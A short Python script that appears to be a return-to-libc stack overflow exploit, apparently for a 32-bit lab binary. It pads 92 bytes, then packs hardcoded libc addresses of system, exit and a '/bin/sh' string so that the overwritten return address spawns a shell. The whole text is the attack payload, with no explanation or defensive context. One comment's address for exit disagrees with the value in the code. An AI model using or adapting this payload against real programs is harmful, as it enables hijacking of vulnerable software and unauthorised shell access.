import sys
import struct


# libc:0xb7f60b2b("/bin/sh")
bin_sh=0xb7f60b2b
# Symbol "system@plt" is at 0xb7e3fdb0 in a file compiled without debugging.
system_plt=0xb7e3fdb0
# Symbol "exit@plt" is at 0xb7edb430 in a file compiled without debugging.
exit_plt=0xb7e339e0

# Offset from buffer start to function return address is 92.
payload = 92*"A"

payload+=struct.pack("<III", system_plt, exit_plt, bin_sh)

sys.stdout.write(payload)
